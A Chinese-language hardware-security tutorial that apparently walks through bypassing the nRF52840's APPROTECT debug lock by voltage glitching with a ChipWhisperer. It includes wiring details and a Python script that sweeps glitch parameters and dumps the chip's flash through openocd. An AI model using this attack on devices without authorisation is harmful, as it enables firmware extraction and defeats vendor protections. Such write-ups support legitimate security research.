前言
电压故障攻击的基本原理是,将短暂的瞬态电压(典型值的尖峰范围从1V到几十伏特,持续时间仅几纳秒)耦合到设备的电源中,足以破坏电源。固件执行的正常周期,而不会永久损坏电路。这种破坏性的电源事件可能导致设备以异常方式运行-例如,跳过几行启动代码。如果可以对电压故障攻击进行定时,以迫使代码在执行用户身份验证的确切时间跳过(例如,要求输入PIN码),则它可以提供一种廉价而简单的方法来绕过设备的安全功能。
在IOT中为啥要使用电压故障注入,主要是电子行业发展导致芯片的集成度越来越高,同时为了满足低功耗,低成本。常用的wifi、BLE、Lora方案的IOT设备都是单主控解决方案,FLASH都集成到片内。近年各大行业对于网络安全的关注,芯片安全也日趋成熟,安全启动已经成为芯片标配。
注入难点
1.注入时机
注入时机简单的说就是在程序运行的那一刻,对设备进行攻击。如何判断这个时间以及如果稳定的触发都是难点。
本次攻击目标芯片为nrf52840的调试保护机制APPROTECT。
官方说明如下:
用户信息配置寄存器(UICR)
用户信息配置寄存器(UICR)是用于配置用户特定设置的非易失性存储器(NVM)寄存器。它们被映射为0x10001000。
APPROTECT属于UICR。必须在地址0x10001208上写入0xFFFFFF00以启用访问端口保护,如下所示:
根据Nordic的说法,必须先擦除所有RAM和内存闪存,才能禁用APPROTECT安全性。
这里我们知道这个机制是在启动的时候就从芯片的非易失存储器中读取,在有开发板的情况下,我们只要写一个简单的gpio操作代码就能判断芯片启动时间。
代码如下
将代码烧录进入测试板,使用示波器测试启动时间
B通道是供电,C通道是gpio口,这里可以看出nrf52840整个启动时间在1.699ms,这个时间就是整个攻击的窗口。
2.注入持续时间
电压故障注入也叫电压毛刺注入,主要原理是在攻击的时候将攻击目标的核心电压拉低到一定的值,导致程序执行异常。
注入持续时间可以根据两个参数进行确定:
- 1.目标板的时钟频率,因为只要使得一行代码或多行代码执行出错,这样可以确定一个攻击范围。
- 2.尝试攻击慢慢放大持续的时间,在设备重启的时候即为最大值,但是有个要注意的地方,因为攻击是对地短路,长时间短路有可能会烧毁芯片。
3.攻击成功判断
openocd 连接开启了APPROTECT保护的nrf52目标板会出现如下的提示。
根据芯片手册可以知道,dec1为arm核心的电压点。一般建议去掉这个C5电容或者将电容的容量改小。我这里没动,原因是我通过示波器观察我的设备是能轻松的将电压拉低,攻击没啥问题。
攻击硬件设备
1.JTAG&SWD仿真器(nrf52使用的是SWD调试)
2.Chipwhisperer侧信道攻击设备
3.nrf52840开发板
电压注入点选择
连接方式
nrf52840 vin ------ chipwhisper 3.3v
nrf52840 rest ---------chipwhisper tio3
nrf52840 vcore --------chipwhisper glitch
nrf52840 swd ---------- arm仿真器
攻击代码
import chipwhisperer as cw
import serial
import os,time
scope = cw.scope()
scope.clock.clkgen_freq=100E6
scope.glitch.clk_src="clkgen"
scope.glitch.resetDcms()
scope.glitch.output="enable_only"
scope.io.tio3='high_z'
scope.trigger.triggers='tio3'
scope.glitch.trigger_src = "ext_continuous"
scope.glitch.ext_offset = 160000
scope.glitch.repeat = 100
scope.io.glitch_lp = False
scope.io.glitch_hp = False
scope.io.glitch_hp = True
doglich=True
while doglich:
scope.glitch.ext_offset = scope.glitch.ext_offset+100
for i in range(1,100,10):
scope.glitch.repeat = i
scope.io.glitch_lp = False
scope.io.glitch_hp = False
scope.io.glitch_hp = True
scope.io.target_pwr=True
time.sleep(0.5)
exit_status = os.system('openocd -c "interface jlink" -c "transport select swd" -c "adapter speed 4000" -f /usr/local/share/openocd/scripts/target/nrf52.cfg -c "init;dump_image nrf52_flash.bin 0x0 0x80000;exit"') // 256
#exit_status
if exit_status == 0:
print("SUCCESS")
doglich=False
break
scope.io.target_pwr=False
time.sleep(0.3)
if scope.glitch.ext_offset > 190000:
print("NOT SUCCESS")
doglich=False
break
攻击成功后openocd连接不在出现保护的提示
并且通过gdb能连接进去进行调试
这里可以看到地址0x10001208的值还是在保护状态,但是一样可以进行调试,通过命令dump出固件后,可以把整个芯片擦除解除保护状态,把固件重新烧录到设备中就可以一直稳定调试,提取的固件也可以放到ida pro进行分析。